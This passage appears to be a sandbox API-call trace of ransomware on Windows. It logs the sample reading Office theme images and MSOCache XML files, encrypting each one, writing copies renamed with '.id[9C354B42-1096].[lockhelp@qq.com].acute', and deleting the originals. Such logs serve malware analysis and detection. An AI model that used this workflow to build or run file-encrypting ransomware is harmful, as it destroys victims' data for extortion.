pdwDataLen=0x329f6b0*=0x5060, dwBufLen=0x5060 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5060) returned 1 [0056.907] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5060, lpOverlapped=0x0) returned 1 [0056.908] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0056.908] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.908] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0056.908] CryptDestroyKey (hKey=0x593260) returned 1 [0056.908] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0056.908] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.908] CloseHandle (hObject=0x1a0) returned 1 [0056.908] CloseHandle (hObject=0x1b0) returned 1 [0056.909] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0056.910] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0056.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.910] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1287) returned 1 [0056.910] CloseHandle (hObject=0x1b0) returned 1 [0056.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0056.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.911] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.911] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0056.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.912] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0056.912] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0056.912] ReadFile (in: hFile=0x1b0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x507, lpOverlapped=0x0) returned 1 [0057.056] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x510, dwBufLen=0x510 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x510) returned 1 [0057.056] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x510, lpOverlapped=0x0) returned 1 [0057.057] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0057.057] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0057.057] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0057.057] CryptDestroyKey (hKey=0x5931a0) returned 1 [0057.057] WriteFile (in: hFile=0x1a0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0057.057] CryptDestroyKey (hKey=0x5932a0) returned 1 [0057.057] CloseHandle (hObject=0x1b0) returned 1 [0057.057] CloseHandle (hObject=0x1a0) returned 1 [0057.059] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0057.060] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0057.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.628] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=33277) returned 1 [0058.628] CloseHandle (hObject=0x1ac) returned 1 [0058.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0058.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.649] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.663] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0058.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.664] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0058.664] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0058.664] ReadFile (in: hFile=0x184, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x81fd, lpOverlapped=0x0) returned 1 [0058.665] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8200, dwBufLen=0x8200 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8200) returned 1 [0058.666] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x8200, lpOverlapped=0x0) returned 1 [0058.667] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0058.667] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0058.667] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0058.667] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.667] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0058.667] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.667] CloseHandle (hObject=0x184) returned 1 [0058.667] CloseHandle (hObject=0x1ac) returned 1 [0058.668] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0058.670] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0058.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 59 os_tid = 0xbf8 [0047.022] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x37a0048 [0047.023] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x37b0050 [0047.023] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb861f8 [0047.023] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x110102) returned 0x39a0020 [0047.024] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb86228 [0047.024] CryptImportKey (in: hProv=0x585138, pbData=0x355f6d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f738 | out: phKey=0x355f738*=0x592fc8) returned 1 [0047.024] CryptSetKeyParam (hKey=0x592fc8, dwParam=0x1, pbData=0x355f720, dwFlags=0x0) returned 1 [0047.024] CryptDecrypt (in: hKey=0x592fc8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0x355f6ec | out: pbData=0xb86228, pdwDataLen=0x355f6ec) returned 1 [0047.024] CryptDestroyKey (hKey=0x592fc8) returned 1 [0047.024] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0047.024] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0047.024] Wow64DisableWow64FsRedirection (in: OldValue=0x355f788 | out: OldValue=0x355f788*=0x0) returned 1 [0047.024] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0047.024] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.101] ResetEvent (hEvent=0x150) returned 1 [0047.101] SetEvent (hEvent=0x154) returned 1 [0047.102] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.102] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.110] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2296) returned 1 [0047.110] CloseHandle (hObject=0x178) returned 1 [0047.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.110] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.110] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.110] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.110] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.111] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.111] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.111] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x8f8, lpOverlapped=0x0) returned 1 [0047.137] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x900, dwBufLen=0x900 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x900) returned 1 [0047.138] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x900, lpOverlapped=0x0) returned 1 [0047.139] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5930a0) returned 1 [0047.139] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.139] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.139] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.139] WriteFile (in: hFile=0x170, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.139] CryptDestroyKey (hKey=0x593060) returned 1 [0047.139] CloseHandle (hObject=0x178) returned 1 [0047.139] CloseHandle (hObject=0x170) returned 1 [0047.140] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.141] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.154] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.154] ResetEvent (hEvent=0x150) returned 1 [0047.155] SetEvent (hEvent=0x154) returned 1 [0047.155] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.155] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.155] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1608) returned 1 [0047.155] CloseHandle (hObject=0x170) returned 1 [0047.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.155] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.155] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.155] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.155] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.156] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.156] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.156] ReadFile (in: hFile=0x170, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x648, lpOverlapped=0x0) returned 1 [0047.158] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650, dwBufLen=0x650 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650) returned 1 [0047.158] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x650, lpOverlapped=0x0) returned 1 [0047.159] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5930e0) returned 1 [0047.159] CryptSetKeyParam (hKey=0x5930e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.159] CryptEncrypt (in: hKey=0x5930e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0047.159] CryptDestroyKey (hKey=0x5930e0) returned 1 [0047.159] WriteFile (in: hFile=0x180, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0047.159] CryptDestroyKey (hKey=0x593060) returned 1 [0047.159] CloseHandle (hObject=0x170) returned 1 [0047.159] CloseHandle (hObject=0x180) returned 1 [0047.160] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.161] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.163] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0047.163] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.164] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3186) returned 1 [0047.164] CloseHandle (hObject=0x184) returned 1 [0047.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0047.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.164] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.164] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0047.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.165] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593060) returned 1 [0047.165] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0047.165] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xc72, lpOverlapped=0x0) returned 1 [0047.167] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xc80, dwBufLen=0xc80 | out: pbData=0x39a0020*, 